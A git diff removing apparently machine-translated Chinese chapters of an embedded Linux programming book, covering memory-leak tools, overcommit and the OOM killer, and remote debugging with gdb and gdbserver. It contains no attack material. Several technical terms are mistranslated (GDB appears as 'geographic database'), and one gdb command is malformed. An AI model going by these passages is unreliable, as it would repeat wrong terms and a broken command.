如果`MALLOC_TRACE`不存在或文件无法打开,则不会安装`mtrace`挂钩。 虽然跟踪信息是用 ASCII 编写的,但通常使用`mtrace`命令查看它。 - -下面是一个例子: - -```sh -#include -#include -#include -int main(int argc, char *argv[]) -{ - int j; - mtrace(); - for (j = 0; j < 2; j++) - malloc(100); /* Never freed:a memory leak */ - calloc(16, 16); /* Never freed:a memory leak */ - exit(EXIT_SUCCESS); -} -``` - -下面是您在运行程序并查看跟踪时可能看到的内容: - -```sh -$ export MALLOC_TRACE=mtrace.log -$ ./mtrace-example -$ mtrace mtrace-example mtrace.log -Memory not freed: ------------------ - Address Size Caller -0x0000000001479460 0x64 at /home/chris/mtrace-example.c:11 -0x00000000014794d0 0x64 at /home/chris/mtrace-example.c:11 -0x0000000001479540 0x100 at /home/chris/mtrace-example.c:15 -``` - -不幸的是,在程序运行时,`mtrace`不会告诉您内存泄漏。 它必须先终止。 - -## ==同步,由 Elderman 更正==@ELDER_MAN - -**Valgrind**是一个非常强大的工具,用于发现内存问题,包括泄漏和其他问题。 一个优点是,您不必重新编译要检查的程序和库,尽管如果使用`-g`选项编译它们,使它们包含调试符号表,效果会更好。 它的工作原理是在模拟环境中运行程序,并捕获各个点的执行。 这导致了 Valgrind 的一个很大的缺点,那就是程序的运行速度只有正常速度的一小部分,这使得它在测试任何有实时约束的东西时用处不大。 - -重要音符 - -顺便说一句,这个名字经常发音错误:在 Valgrind 常见问题解答中,它说 grind 部分的发音是短的*i*,就像 grinned(与 tinned 押韵)而不是 grind(与 find 押韵)。 常见问题解答、文档和下载位于[https://valgrind.org](https://valgrind.org)。 - -Valgrind 包含几个诊断工具: - -* `memcheck`:这是默认工具,它检测内存泄漏和内存的一般误用。 -* `cachegrind`:这将计算处理器缓存命中率。 -* `callgrind`:这将计算每个函数调用的成本。 -* `helgrind`:这突出了对 PthreadAPI 的滥用,包括潜在的死锁和争用条件。 -* `DRD`:这是另一个 Pthread 分析工具。 -* `massif`:这将分析堆和堆栈的使用情况。 - -您可以使用`-tool`选项选择您想要的工具。 Valgrind 可以在主要的嵌入式平台上运行:32 位和 64 位版本的 ARM(Cortex-A)、PowerPC、MIPS 和 x86。 它在 Yocto 项目和 Buildroot 中都以软件包的形式提供。 - -要找到我们的内存泄漏,我们需要使用默认的`memcheck`工具,并使用`-–leak-check=full`选项打印发现泄漏的行: - -```sh -$ valgrind --leak-check=full ./mtrace-example -==17235== Memcheck, a memory error detector -==17235== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.==17235==Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info -==17235== Command: ./mtrace-example -==17235== -==17235== -==17235== HEAP SUMMARY: -==17235== in use at exit: 456 bytes in 3 blocks -==17235== total heap usage: 3 allocs, 0 frees, 456 bytes allocated -==17235== -==17235== 200 bytes in 2 blocks are definitely lost in loss record -1 of 2==17235== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-linux.so) -==17235== by 0x4005FA: main (mtrace-example.c:12) -==17235== -==17235== 256 bytes in 1 blocks are definitely lost in loss record -2 of 2==17235== at 0x4C2CC70: calloc (in /usr/lib/valgrind/vgpreload memcheck-linux so) -==17235== by 0x400613: main (mtrace-example.c:14) -==17235== -==17235== LEAK SUMMARY: -==17235== definitely lost: 456 bytes in 3 blocks -==17235== indirectly lost: 0 bytes in 0 blocks -==17235== possibly lost: 0 bytes in 0 blocks -==17235== still reachable: 0 bytes in 0 blocks -==17235== suppressed: 0 bytes in 0 blocks -==17235== -==17235== For counts of detected and suppressed errors, rerun with: -v==17235== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) -``` - -Valgrind 的输出显示,在`mtrace-example.c`中发现了两个内存泄漏:第 12 行的 a`malloc`和第 14 行的 a`calloc`。程序中缺少对`free`的后续调用,即应该伴随这两个内存分配的。 如果不进行检查,长期运行进程中的内存泄漏最终可能会导致系统内存不足。 - -# 内存不足 - -标准的内存分配策略是**过量使用**,这意味着内核将允许应用分配比物理内存更多的内存。 大多数情况下,这都很好用,因为应用请求的内存比它们实际需要的要多,这是很常见的。 这也有助于实现`fork(2)`:复制大程序是安全的,因为设置了写入时复制标志时共享内存页。 在大多数情况下,`fork`之后是一个`exec`函数调用,它取消共享内存,然后加载一个新程序。 - -然而,总有一种可能性是,某个特定的工作负载会导致一组进程试图利用它们同时获得的分配来变现,因此需求会比实际情况更多。 这是**内存不足**情况,或**OOM**。 在这一点上,没有其他选择,只能终止进程,直到问题消失。 这是**内存不足杀手**的工作。 - -在此之前,在`/proc/sys/vm/overcommit_memory`中有一个针对内核分配的调优参数,您可以将其设置为以下值: - -* `0`:启发式过量使用 -* `1`:总是过量使用;从不检查 -* `2`:始终检查;永不过量 - -选项`0`是默认选项,在大多数情况下是最佳选择。 - -选项`1`只有在运行使用大型稀疏数组并分配较大内存区域但写入其中一小部分内存的程序时才真正有用。 这样的程序在嵌入式系统环境中很少见。 - -如果您担心会耗尽内存(可能是在任务或安全关键型应用中),选项`2`(永不过度提交)似乎是个不错的选择。 超过提交限制(交换空间大小加上总内存乘以过量提交比率)的分配将失败。 过量使用率由 -`/proc/sys/vm/overcommit_ratio`控制,默认值为 50%。 - -例如,假设您有一个具有 512MB 系统 RAM 的设备,并且您将 -设置为 25%的非常保守的比率: - -```sh -# echo 25 > /proc/sys/vm/overcommit_ratio -# grep -e MemTotal -e CommitLimit /proc/meminfo -MemTotal: 509016 kB -CommitLimit: 127252 kB -``` - -没有交换,因此提交限制为`MemTotal`的 25%,这与预期不谋而合。 - -在`/proc/meminfo`中还有另一个重要的变量,称为`Committed_AS`。 这是完成到目前为止进行的所有分配所需的内存总量。 我在一个系统上发现了以下内容: - -```sh -# grep -e MemTotal -e Committed_AS /proc/meminfo -MemTotal: 509016 kB -Committed_AS: 741364 kB -``` - -换句话说,内核已经承诺了比可用内存更多的内存。 因此,将`overcommit_memory`设置为`2`意味着无论`overcommit_ratio`如何,所有分配都将失败。 要进入正常运行的系统, -我要么必须安装双倍的 RAM,要么必须严重减少正在运行的进程的数量,其中大约有 40 个。 - -在所有情况下,最后的防御是`oom-killer`。 它使用启发式方法为每个进程计算 -个 0 到 1,000 之间的坏分数,然后终止得分最高的进程,直到有足够的空闲内存。 您应该在内核日志中看到类似以下内容: - -```sh -[44510.490320] eatmem invoked oom-killer: gfp_mask=0x200da, -order=0, oom_score_adj=0 -... -``` - -您可以使用`echo f > /proc/sysrq-trigger`强制执行 OOM 事件。 - -您可以通过将调整值写入 -`/proc//oom_score_adj`来影响进程的不良分数。 值`-1000`意味着坏分数永远不能大于零,因此它永远不会被杀死;值`+1000`意味着它总是大于 1,000,因此它总是会被杀死。 - -# 摘要 - -计算虚拟内存系统中使用的每个内存字节是不可能的。 但是,您可以使用`free`命令找到一个相当准确的空闲内存总量(不包括缓冲区和缓存占用的内存)的数字。 通过在一段时间内使用不同的工作负载监视它,您应该确信它将保持在给定的限制内。 - -当您想要调优内存使用率或确定意外分配的来源时,有一些资源可以提供更详细的信息。 对于内核空间,最有用的信息在`/proc`:`meminfo`、`slabinfo`和`vmallocinfo`中。 - -当涉及到对用户空间的精确测量时,最好的度量标准是 PSS, -,如`smem`和其他工具所示。 对于内存调试,您可以从 -简单跟踪程序(如`mtrace`)获得帮助,也可以选择 Valgrind`memcheck`工具的重量级选项。 - -如果您担心 OOM 情况的后果,可以通过`/proc/sys/vm/overcommit_memory`微调分配机制,并且可以通过`oom_score_adj`参数控制特定进程被终止的可能性。 - -下一章是关于使用 GNU 调试器调试用户空间和内核代码,以及在代码运行时观察代码可以获得的洞察力,包括我在这里描述的内存管理功能。 - -# 进一步阅读 - -以下资源提供了有关本章中介绍的主题的更多信息: - -* *Linux 内核开发*,*第三版*,Robert Love 著 -* *Linux 系统编程*,*第二版*,Robert Love 著 -* *了解 Linux VM 管理器*,梅尔·戈尔曼:[https://www.kernel.org/doc/gorman/pdf/understand.pdf](https://www.kernel.org/doc/gorman/pdf/understand.pdf) -* *Valgrind 3.3-Gnu/Linux 应用的高级调试和配置*,作者:J Seward、N.Nethercote 和 J.Weidendorfer \ No newline at end of file diff --git a/docs/master-emb-linux-prog/19.md b/docs/master-emb-linux-prog/19.md deleted file mode 100644 index b17b49ca..00000000 --- a/docs/master-emb-linux-prog/19.md +++ /dev/null @@ -1,1296 +0,0 @@ -# 十九、使用 gdb 调试 - -虫子就会出现。 识别和修复它们是开发过程的一部分。 有许多不同的技术可用于查找和表征程序缺陷,包括静态和动态分析、代码审查、跟踪、分析和交互调试。 我将在下一章介绍跟踪器和分析器,但这里我想集中介绍通过调试器监视代码执行的传统方法,在我们的例子中是**GNU Project Debugger**(**gdb**)。 Gdb 是一个强大而灵活的工具。 您可以使用它来调试应用、检查在程序崩溃后创建的事后文件(核心文件),甚至逐步执行内核代码。 - -在本章中,我们将介绍以下主题: - -* GNU 调试器 -* 正在准备调试 -* 调试应用 -* 实时调试 -* 调试叉和线程 -* 核心文件 -* 地理数据库用户界面 -* 调试内核代码 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 至少具有 60 GB 可用磁盘空间的基于 Linux 的主机系统 -* Buildroot 2020.02.9 LTS 版本 -* Yocto 3.1(邓费尔)LTS 版本 -* 适用于 Linux 的蚀刻器 -* MicroSD 卡读卡器和卡 -* USB 转 TTL 3.3V 串行电缆 -* 覆盆子派 4 -* 5V 3A USB-C 电源 -* 用于网络连接的以太网电缆和端口 -* 比格尔博恩黑 -* 5V 1A 直流电源 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Buildroot 的 2020.02.9 LTS 版本。 如果没有,请参考*Buildroot 用户手册*([https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html))的*系统要求*部分,然后再按照[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Buildroot。 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Yocto 的 3.1(Dunfall)LTS 发行版。 如果没有,请参考*Yocto Project Quick Build*指南([https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html))的*Compatible Linux Distribution*和*Build Host Packages*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Yocto。 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter19`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# GNU 调试器 - -GDB 是针对种编译语言(主要是 C 和 C++)的源代码级调试器,但也支持各种其他语言,如 GO 和 Objective-C。 您应该阅读您正在使用的 GDB 版本的说明,以了解当前对各种语言的支持状态。 - -项目网站是[https://www.gnu.org/software/gdb/](https://www.gnu.org/software/gdb/),它包含许多有用的信息,包括 gdb 用户手册、*使用 gdb*进行调试。 - -GDB 有一个开箱即用的命令行用户界面,有些人会觉得它令人不快,尽管在现实中,只要稍加练习就可以很容易地使用它。 如果命令行界面不是您喜欢的,GDB 有很多前端用户界面,我将在本章后面描述其中的三个。 - -# 准备调试 - -您需要使用调试符号编译要调试的代码。 GCC 为此提供了两种选择:`-g`和`-ggdb`。 后者添加特定于 gdb 的调试信息,而前者为您使用的任何目标操作系统生成适当格式的信息,使其成为更可移植的选项。 在我们的特定情况下,目标操作系统始终是 Linux,无论您使用`-g`还是`-ggdb`,差别都不大。 更有趣的是,这两个选项都允许您指定调试信息的级别(从`0`到`3`): - -* `0`:这根本不会产生调试信息,相当于省略了`-g`或`-ggdb`开关。 -* `1`:这会产生最少的信息,但包括函数名和外部变量,这足以生成回溯。 -* `2`:这是默认设置,包括有关局部变量和行号的信息,以便您可以执行源代码级别的调试和单步执行代码。 -* `3`:这包括额外的信息,这意味着 gdb 可以正确处理宏扩展。 - -在大多数情况下,`-g`就足够了:如果您在单步执行代码时遇到问题,特别是当它包含*宏*时,请保留`-g3`或`-ggdb3`。 - -下一个要考虑的问题是代码优化级别。 编译器优化倾向于破坏源代码和机器代码行之间的关系,这使得单步执行源代码变得不可预测。 如果遇到这样的问题,很可能需要在不进行优化的情况下进行编译,省略`-O`编译开关,或者使用`-Og`,这样可以实现不干扰调试的优化。 - -一个相关的问题是堆栈帧指针,gdb 需要它来生成直到当前函数调用的回溯。 在某些架构上,GCC 不会生成优化级别较高(`-O2`及以上)的栈帧指针。 如果您发现自己确实需要使用`-O2`进行编译,但仍然需要回溯,则可以使用`-fno-omit-frame-pointer`覆盖默认行为。 还要查找代码,这些代码经过手工优化,通过添加`-fomit-frame-pointer`去掉了帧指针:您可能希望临时删除这些位。 - -# 调试应用 - -您可以使用 gdb 以两种方式之一调试应用:如果您正在开发在桌面和服务器上运行的代码,或者实际上是在同一台机器上编译和运行代码的任何环境,那么在本地运行 gdb 是很自然的。 但是,大多数嵌入式开发都是使用跨工具链完成的,因此您希望调试设备上运行的代码,但要从拥有源代码和工具的交叉开发环境进行控制。 我将重点介绍后一种情况,因为这是嵌入式开发人员最有可能遇到的情况,但我还将向您展示如何设置用于本机调试的系统。 我不打算在这里描述使用 gdb 的基础知识,因为已经有很多关于该主题的参考资料,包括 gdb 用户手册和本章末尾建议的*进一步阅读*部分。 - -## 使用 gdbserver 进行远程调试 - -远程调试的关键组件是调试代理`gdbserver`,它在目标系统上运行并控制所调试程序的执行。 `gdbserver`通过网络连接或串行接口连接到主机上运行的 gdb 副本。 - -通过`gdbserver`调试几乎(但不完全)与本机调试相同。 差异主要集中在这样一个事实上,即涉及两台计算机,它们必须处于正确的状态才能进行调试。 以下是一些需要注意的事项: - -* 在调试会话开始时,您需要使用`gdbserver`在目标上加载要调试的程序,然后从主机上的交叉工具链单独加载 gdb。 -* 在调试会话开始之前,gdb 和`gdbserver`需要相互连接。 -* 在主机上运行的 gdb 需要被告知在哪里查找调试符号和源代码,尤其是查找共享库的调试符号和源代码。 -* Gdb`run`命令不能按预期工作。 -* `gdbserver`将在调试会话结束时终止,如果您需要另一个调试会话,则需要重新启动它。 -* 您需要在主机上调试二进制文件的调试符号和源代码,但不需要在目标上调试。 通常,目标上没有足够的存储空间来容纳它们,在部署到目标之前需要剥离它们。 -* Gdb/`gdbserver`组合并不支持本机运行的 gdb 的所有功能:例如,`gdbserver`不能在`fork`之后跟随子进程,而本机 gdb 可以。 -* 如果 gdb 和`gdbserver`来自不同的 gdb 版本,或者是相同的版本但配置不同,则可能会发生奇怪的事情。 理想情况下,它们应该使用您最喜欢的构建工具从同一来源构建。 - -调试符号会显著增加可执行文件的大小,有时会增加 10 倍。如[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中所述,在不重新编译所有内容的情况下删除调试符号非常有用。 作业的工具是交叉工具链中的`binutils`包中的`strip`。 您可以使用以下开关控制条带级别: - -* `--strip-all`:这将删除所有符号(默认)。 -* `--strip-unneeded`:这将删除重新定位处理不需要的符号。 -* `--strip-debug`: This removes only debug symbols. - - 重要音符 - - 对于应用和共享库,`--strip-all`(缺省值)是可以的,但是当涉及到内核模块时,您会发现它会阻止模块加载。 请改用`--strip-unneeded`。 我仍在研究`–-strip-debug`的一个用例。 - -考虑到这一点,让我们看看使用 Yocto 项目和 Buildroot 调试所涉及的细节。 - -## 设置 Yocto 项目以进行远程调试 - -在使用 Yocto 项目远程调试应用时,需要做两件事:您需要将`gdbserver`添加到目标映像中;您需要创建一个 SDK,其中包含 gdb,并且包含您计划调试的可执行文件的调试符号。 - -首先,要在目标映像中包含`gdbserver`,您可以通过将以下内容添加到`conf/local.conf`来显式添加包: - -```sh -IMAGE_INSTALL_append = " gdbserver" -``` - -在没有串行控制台的情况下,还需要添加 SSH 守护进程,以便您可以在目标系统上启动`gdbserver`: - -```sh -EXTRA_IMAGE_FEATURES ?= "ssh-server-openssh" -``` - -或者,您可以将`tools-debug`添加到`EXTRA_IMAGE_FEATURES`,这会将`gdbserver`、Native`gdb`和`strace`添加到目标映像中(我将在下一章讨论`strace`): - -```sh -EXTRA_IMAGE_FEATURES ?= "tools-debug ssh-server-openssh" -``` - -对于第二部分,您只需要构建 SDK,如我在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中所述: - -```sh -$ bitbake -c populate_sdk -``` - -SDK 包含一份 gdb 副本。 它还包含目标的`sysroot`,其中包含作为目标映像一部分的所有程序和库的调试符号。 最后,SDK 包含可执行文件的源代码。 以为例,查看为 Raspberry PI 4 构建并由 Yocto 项目的 3.1.5 版生成的 SDK,它默认安装在`/opt/poky/3.1.5/`中。 目标的`sysroot`是`/opt/poky/3.1.5/sysroots/aarch64-poky-linux/`。 程序位于相对于`sysroot`的`/bin/`、`/sbin/`、`/usr/bin/`和`/usr/sbin/`中,库位于`/lib/`和`/usr/lib/`中。 在每个目录中,您会发现一个名为`.debug/`的子目录,其中包含每个程序和库的符号。 Gdb 知道在搜索符号信息时要查看`.debug/`。 可执行文件的源代码相对于`sysroot`存储在 -`/usr/src/debug/`中。 - -## 设置 Buildroot 以进行远程调试 - -Buildroot 没有区分构建环境和用于应用开发的环境:没有 SDK。 假设您使用的是 Buildroot 内部工具链,则需要启用这些选项来构建主机的交叉 GDB 和构建目标的`gdbserver`: - -* `BR2_PACKAGE_HOST_GDB`,在**工具链中|为主机**构建交叉 gdb -* `BR2_PACKAGE_GDB`,在**目标包|调试、评测和 - 基准|GDB**中 -* `BR2_PACKAGE_GDB_SERVER`,在**目标包|调试、性能分析和基准测试|gdbserver**中 - -您还需要在**Build Options|Build Packages with Debug Symbol**中构建带有调试符号的可执行文件,为此需要启用`BR2_ENABLE_DEBUG`。 - -这将在`output/host/usr//sysroot`中创建带有调试符号的库。 - -## 开始调试 - -既然您已经在目标上安装了`gdbserver`,并且在主机上安装了一个交叉 GDB,您就可以启动调试会话了。 - -### 连接 gdb 和 gdbserver - -GDB 和`gdbserver`之间的连接可以通过网络或串行接口。 在网络连接的情况下,您可以使用要侦听的 TCP 端口号启动`gdbserver`,也可以选择使用要接受连接的 IP 地址来启动`gdbserver`。 在大多数情况下,您并不关心要连接哪个 IP 地址,因此只需提供端口号即可。 在此示例中,`gdbserver`等待端口`10000`上来自任何主机的连接: - -```sh -# gdbserver :10000 ./hello-world -Process hello-world created; pid = 103 -Listening on port 10000 -``` - -接下来,从工具链启动 gdb 副本,将其指向程序的未剥离副本,以便 gdb 可以加载符号表: - -```sh -$ aarch64-poky-linux-gdb hello-world -``` - -在 gdb 中,使用`target remote`命令建立到`gdbserver`的连接,为其提供目标的 IP 地址或主机名以及它正在等待的端口: - -```sh -(gdb) target remote 192.168.1.101:10000 -``` - -当`gdbserver`看到来自主机的连接时,它会打印以下内容: - -```sh -Remote debugging from host 192.168.1.1 -``` - -该过程与串行连接类似。 在目标上,您告诉`gdbserver`使用哪个串行端口: - -```sh -# gdbserver /dev/ttyO0 ./hello-world -``` - -您可能需要使用`stty(1)`或类似程序预先配置端口波特率。 下面是一个简单的示例: - -```sh -# stty -F /dev/ttyO0 115200 -``` - -`stty`还有许多其他选项,请阅读手册页以了解更多详细信息。 值得注意的是,该端口不得用于任何其他用途。 例如,您不能使用正在用作系统控制台的端口。 - -在主机上,您可以使用`target remote`加上电缆主机端的串行设备连接到`gdbserver`。 在大多数情况下,您需要首先使用 gdb 命令`set serial baud`设置主机串行端口的波特率: - -```sh -(gdb) set serial baud 115200 -(gdb) target remote /dev/ttyUSB0 -``` - -尽管 gdb 和`gdbserver`现在已经连接,但我们还没有准备好设置断点并开始单步执行源代码。 - -### 设置 sysroot - -Gdb 需要知道在哪里可以找到调试信息和您正在调试的程序和共享库的源代码。 在本地调试时,路径是众所周知的,并且内置于 gdb 中,但是当使用跨工具链时,gdb 无法猜测目标文件系统的根在哪里。 你必须提供这些信息。 - -如果您使用 Yocto Project SDK 构建应用,则`sysroot`位于 SDK 中,因此您可以在 GDB 中进行如下设置: - -```sh -(gdb) set sysroot /opt/poky/3.1.5/sysroots/aarch64-poky-linux -``` - -如果您使用的是 Buildroot,您会发现`sysroot`在`output/host/usr//sysroot`中,并且在`output/staging`中有一个指向它的符号链接。 因此,对于 Buildroot,您可以这样设置`sysroot`: - -```sh -(gdb) set sysroot /home/chris/buildroot/output/staging -``` - -Gdb 还需要找到您正在调试的文件的源代码。 Gdb 有源文件的搜索路径,您可以使用`show directories`命令查看: - -```sh -(gdb) show directories -Source directories searched: $cdir:$cwd -``` - -以下是缺省值:`$cwd`是主机上运行的 gdb 实例的当前工作目录;`$cdir`是编译源代码的目录。 后者被编码到带有标签`DW_AT_comp_dir`的目标文件中。 您可以使用`objdump --dwarf`查看这些标记,例如: - -```sh -$ aarch64-poky-linux-objdump --dwarf ./helloworld | grep DW_AT_comp_dir -[…] -<160> DW_AT_comp_dir : (indirect string, offset: 0x244): /home/chris/helloworld -[…] -``` - -在大多数情况下,缺省值`$cdir`和`$cwd`就足够了,但是如果在编译和调试之间移动了目录,就会出现问题。 Yocto 项目就是一个这样的例子。 深入研究一下使用 Yocto Project SDK 编译的程序的`DW_AT_comp_dir`标记,您可能会注意到: - -```sh -$ aarch64-poky-linux-objdump --dwarf ./helloworld | grep DW_AT_comp_dir -<2f> DW_AT_comp_dir : /usr/src/debug/glibc/2.31-r0/git/csu -<79> DW_AT_comp_dir : (indirect string, offset: 0x139): /usr/src/debug/glibc/2.31-r0/git/csu -<116> DW_AT_comp_dir : /usr/src/debug/glibc/2.31-r0/git/csu -<160> DW_AT_comp_dir : (indirect string, offset: 0x244): /home/chris/helloworld -[…] -``` - -在这里,您可以看到对目录`/usr/src/debug/glibc/2.31-r0/git`的多个引用,但是它在哪里呢? 答案是它在 SDK 的`sysroot`中,所以完整路径是`/opt/poky/3.1.5/sysroots/aarch64-poky-linux /usr/src/debug/glibc/2.31-r0/git`。 SDK 包含目标映像中所有程序和库的源代码。 GDB 有一种简单的方法来处理整个目录树的移动,如下所示:`substitute-path`。 因此,在使用 Yocto Project SDK 进行调试时,您需要使用以下命令: - -```sh -(gdb) set sysroot /opt/poky/3.1.5/sysroots/aarch64-poky-linux -(gdb) set substitute path /usr/src/debug/opt/poky/3.1.5/sysroots/aarch64-poky-linux/usr/src/debug -``` - -您可能有其他共享库存储在`sysroot`之外。 在这种情况下,您可以使用`set solib-search-path`,它可以包含冒号分隔的目录列表来搜索共享库。 Gdb 仅在无法找到`sysroot`中的二进制文件时才搜索`solib-search-path`。 - -告诉 GDB 在哪里查找源代码(库和程序)的第三种方法是使用`directory`命令: - -```sh -(gdb) directory /home/chris/MELP/src/lib_mylib -Source directories searched: /home/chris/MELP/src/lib_mylib:$cdir:$cwd -``` - -以这种方式添加的路径优先,因为它们在从`sysroot`或`solib-search-path`搜索之前搜索*。* - -### Gdb 命令文件 - -您每次运行 gdb 时都需要执行一些操作,例如,设置`sysroot`。 将这样的命令放入命令文件中并在每次启动 gdb 时运行它们是很方便的。 Gdb 从`$HOME/.gdbinit`读取命令,然后从当前目录中的`.gdbinit`读取命令,然后从命令行中使用`-x`参数指定的文件读取命令。 然而,出于安全原因,最近版本的 gdb 将拒绝从当前目录加载`.gdbinit`。 您可以通过向`$HOME/.gdbinit`添加如下行来覆盖该行为: - -```sh -set auto-load safe-path / -``` - -或者,如果您不想全局启用自动加载,您可以指定一个特定的目录,如下所示: - -```sh -add-auto-load-safe-path /home/chris/myprog -``` - -我个人的偏好是使用`-x`参数指向命令文件,它公开了文件的位置,这样我就不会忘记它。 - -为了帮助您设置 gdb,Buildroot 在`output/staging/usr/share/buildroot/gdbinit`中创建了一个包含正确的`sysroot`命令的 gdb 命令文件。 它将包含类似于下面一行的行: - -```sh -set sysroot /home/chris/buildroot/output/host/usr/aarch64-buildroot-linux-gnu/sysroot -``` - -既然 gdb 已经在运行,并且可以找到它需要的信息,那么让我们来看看我们可以使用它执行的一些命令。 - -### Gdb 命令概述 - -Gdb 有更多的命令,这些命令在联机手册和*进一步阅读*部分提到的资源中进行了描述。 为了帮助您尽快开始使用,这里列出了最常用的命令。 在大多数情况下,命令有缩写形式,如下表所示。 - -#### 断点 - -以下是用于管理断点的命令: - -![](img/B11566_Table_011.jpg) - -#### 跑步和踏步 - -以下是控制程序执行的命令: - -![](img/B11566_Table_02.jpg) - -#### 获取信息 - -以下是命令,用于获取有关调试器的信息: - -![](img/B11566_Table_03.jpg) - -在我们开始单步执行调试会话中的程序之前,我们首先需要设置一个初始断点。 - -### 运行到断点 - -`gdbserver`将程序加载到内存中,并在第一条指令处设置断点,然后等待来自 gdb 的连接。 建立连接后,您将进入调试会话。 但是,您会发现,如果您尝试立即单步执行,则会收到以下消息: - -```sh -Cannot find bounds of current function -``` - -这是因为程序在汇编语言编写的代码中已暂停,这为 C/C++程序创建了运行时环境。 C/C++代码的第一行是`main()`函数。 假设您想要在`main()`处停止,您可以在那里设置一个断点,然后使用`continue`命令(缩写为`c`)告诉`gdbserver`从程序开始处的断点继续,并在`main()`处停止: - -```sh -(gdb) break main -Breakpoint 1, main (argc=1, argv=0xbefffe24) at helloworld.c:8 printf("Hello, world!\n"); -(gdb) c -``` - -此时,您可能会看到以下内容: - -```sh -Reading /lib/ld-linux.so.3 from remote target... -warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. -``` - -在旧版本的 gdb 中,您可能会看到以下内容: - -```sh -warning: Could not load shared library symbols for 2 libraries, e.g. /lib/libc.so.6. -``` - -在这两种情况下,问题是您忘记设置`sysroot`! 再看一下`sysroot`前面的部分。 - -这与本机启动程序完全不同,在本机启动程序时只需键入`run`即可。 事实上,如果您尝试在远程调试会话中键入`run`,您将看到一条消息,提示远程目标不支持`run`命令,或者在较早版本的 gdb 中,它将在没有任何解释的情况下挂起。 - -### 使用 Python 扩展地理数据库 - -我们可以在 gdb 中嵌入一个完整的 Python 解释器来扩展它的功能。 这是通过在构建之前使用`--with-python`选项配置 gdb 来实现的。 GDB 有一个 API,可以将其大部分内部状态公开为 Python 对象。 此 API 允许我们将自己的自定义 gdb 命令定义为用 Python 编写的脚本。 这些额外的命令可能包括一些有用的调试辅助工具,比如跟踪点和漂亮的打印机,这些都不是 gdb 内置的。 - -#### 使用 Python 支持构建地理数据库 - -我们已经介绍了*设置 Buildroot 以进行远程调试*。 要在 GDB 中启用 Python 支持,还需要一些额外的步骤。 在撰写本文时,Buildroot 只支持在 GDB 中嵌入 Python2.7,这很不幸,但总比根本不支持 Python 要好。 我们不能使用 Buildroot 生成的工具链来构建具有 Python 支持的 GDB,因为它缺少一些必要的线程支持。 - -要为支持 Python 的主机构建跨 GDB,请执行以下步骤: - -1. 导航到安装 Buildroot 的目录: - - ```sh - $ cd buildroot - ``` - -2. 复制您要为其构建镜像的板的配置文件: - - ```sh - $ cd configs - $ cp raspberrypi4_64_defconfig rpi4_64_gdb_defconfig - $ cd .. - ``` - -3. 从`output`目录清除以前的生成项目: - - ```sh - $ make clean - ``` - -4. 激活您的配置文件: - - ```sh - $ make rpi4_64_gdb_defconfig - ``` - -5. 开始自定义您的映像: - - ```sh - $ make menuconfig - ``` - -6. 导航到**工具链|工具链类型|外部工具链**并选择该选项,即可启用外部工具链。 -7. 退出**外部工具链**并打开**工具链**子菜单。 选择一个已知的工作工具链,例如**Linaro AArch64 2018.05**,作为您的外部工具链。 -8. Select **Build cross gdb for the host** from the **Toolchain** page and enable both **TUI support** and **Python support**: - - ![Figure 19.1 – Python support in GDB](img/B11566_19_01.jpg) - - 图 19.1-GDB 中的 Python 支持 - -9. 从**工具链**页面深入到**gdb 调试器版本**子菜单,然后选择 Buildroot 中提供的最新版本的 gdb。 -10. 返回**工具链**页面的,并向下钻取到**构建选项**。 选择**生成带有调试符号的包**。 -11. Back out of the **Build options** page and drill down into **System Configuration** and select **Enable root login with password**. Open **Root password** and enter a non-empty password in the text field: - - ![Figure 19.2 – Root password](img/B11566_19_02.jpg) - - 图 19.2-超级用户密码 - -12. 退出**System Configuration**页面,深入到**Target Packages|Debug,Profiling and Benchmark**。 选择**gdb**包将`gdbserver`添加到目标镜像。 -13. 退出**调试、分析和基准测试**,深入到**目标包|网络应用**。 选择**DropBear**包以启用`scp`和`ssh`访问目标。 请注意,`dropbear`不允许在没有密码的情况下访问`root``scp`和`ssh`。 -14. 添加**haveged**熵守护进程,该守护进程可以在**目标包|其他**下找到,以便在引导时更快地使用 SSH。 -15. 将另一个包添加到您的映像中,这样您就有了需要调试的东西。 我选择了`bsdiff`二进制补丁/比较工具,它是用 C 语言编写的,可以在**Target Packages|Development Tools**下找到。 -16. 保存更改并退出 Buildroot 的`menuconfig`。 -17. 将更改保存到配置文件: - - ```sh - $ make savedefconfig - ``` - -18. 为目标构建映像: - - ```sh - $ make - ``` - -如果您想跳过前面的`menuconfig`步骤,可以在本章的代码档案中找到 Raspberry PI 4 的现成`rpi4_64_gdb_defconfig`文件。 将该文件从`MELP/Chapter19/buildroot/configs/`复制到您的`buildroot/configs`目录,如果您愿意,可以在该目录上运行`make`。 - -构建完成后,`outpimg/`中应该有一个可引导的`sdcard.img`文件,您可以使用 Etcher 将其写入 microSD 卡。 将 microSD 插入目标设备并引导它。 使用以太网电缆将目标设备连接到您的本地网络,并使用`arp-scan`查找其 IP 地址。 以`root`身份通过 SSH 登录设备,然后输入您在配置映像时设置的密码。 我指定`temppwd`作为我的`rpi4_64_gdb_defconfig`镜像的`root`密码。 - -现在,让我们使用 gdb 远程调试`bsdiff`: - -1. 首先,导航到目标上的`/usr/bin`目录: - - ```sh - # cd /usr/bin - ``` - -2. 然后,以`gdbserver`开始`bdiff`,就像我们之前对`helloworld`所做的那样: - - ```sh - # gdbserver :10000 ./bsdiff pcregrep pcretest out - Process 